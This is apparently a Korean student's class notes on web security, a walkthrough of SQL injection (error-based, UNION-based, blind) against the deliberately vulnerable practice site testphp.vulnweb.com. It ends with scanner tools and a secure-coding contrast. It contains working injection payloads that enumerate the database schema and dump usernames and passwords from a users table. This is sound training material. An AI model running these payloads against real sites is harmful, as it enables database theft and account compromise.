[웹보안] 웹보안 2일차 - 오전
웹보안 2일차 오전 수업 내용 입니다.
아래 내용에 대한 실습은
http://demo.testfire.net/ 여기나
http://testphp.vulnweb.com/ 여기나
웹고트 등으로 허용된 곳에서 사용하세요
사용사이트에서 쓰다가 해당 회사 보안팀이나 관리자한테 연락 옵니다 ㅋㅋㅋ
참고 사이트
http://www.moi.go.kr/
행정 자치부
정책자료 -> 간행물 -> 시큐어코딩 검색
http://www.moi.go.kr/frt/bbs/type001/commonSelectBoardArticle.do?bbsId=BBSMSTR_000000000012&nttId=42152
C/JAVA 시큐어 코딩 가이드 게시글이 있다
참고문헌
CWE
https://cwe.mitre.org/
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
웹보안과 관련된 레퍼런스 가이드들이 많이 나와있다
근데 다 영어임
어차피 크롬이 번역해주거나 개발자라면 알아먹을 수 있는 말들 뿐이니까 걱정은 하지 말고
저길 본인이 들어가서 확인 할 만큼 의지가 있는지가 더 중요함.
나는 여기 적어 놓고 안들어 갈 것 같음.
SQL Injection
1. 에러기반
1' or 1=1
http://testphp.vulnweb.com/listproducts.php?cat=1
일부러 에러 내서 에러메세지 나타나는지 확인
http://testphp.vulnweb.com/listproducts.php?cat=1'
2. Union 기반
1 union Select * ~
ex) http://www.site.com/news.php?id=5 union all select 1, table_name, 3 from information_schema.tables
DBMS에 대한 정보가 없으니 일단 필드 개수나 정보부터 캐와 보도록 해보자
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null#
메세지가
Error: The used SELECT statements have a different number of columns Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74
이렇게 나옴
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null#
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null, null, null#
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null, null, null, null#
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null, null, null, null, null, null, null, null, null, null#
null 11개 입력하니까 얼렸다
그럼 컬럼이 11개라는 얘기
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,2,3,4,5,6,7,8,9,10,11#
맨 마지막 으로 스크롤 내려보면 뭔 숫자들이 나왔다
2,7,9 라는 숫자가 있는데 여기에 공격문자를 넣어서 정보 취득이 가능 하다는 뜻
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,user(),3,4,5,6,7,8,9,10,11#
아까 숫자 2가 출력된 자리에
계정정보 acuart@localhost 나타났다
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()#
2가 들어갔던 자리에
artists,carts,categ,featured,guestbook,pictures,products,users 라는 정보가 나타났다
아마 저게 테이블 이름 인 것 같다
users 라는 중요한 정보가 있을것만 같은 테이블을 공략해 보자
http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name='users'#
uname,pass,cc,address,email,name,phone,cart 라는 컬럼 정보가 표시된다
http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,uname,3,4,5,6,address,8,pass,10,11 from users#
2번과 9번이 들어갔던 자리에 사용자의 ID와 PW가 나타난다
이 정보로 signup으로 들어가 로그인을 하면 접속이 되는 것을 확인 할 수 있다.
3. Blind기반
1, 1 and 1=0
악의적인 문자열 삽입 대신 쿼리 결과에 따라 정보를 취득 하는 기법이다.
덮어놓고 노가다 한다
http://testphp.vulnweb.com/listproducts.php?cat=1
1개 문자열 추출
select * from test where id = 1 and (식) 116(t)
select * from test where id = 1 and (식) 101(e)
문자열의 범위를 확인
select * from test where id = 1 and (식) > 47
select * from test where id = 1 and (식) < 58
크고 작음의 true false 확인을 통해 범위를 좁혀 나간다.
SELECT ASCII(SUBSTRING(name,1,1)) FROM pins WHERE cc_number = 4321432143214321 > 90
이런식
1. 동적
- scanray, sqlmap
2. 정적
- findbugs, security, PMD
select ..
from ..
where name = $name (sql 인젝션 취약)
..
where name = #name (sql 인젝션 안취약)
이제 webgoat를 해보자
저번주에도 했지만 또 한다.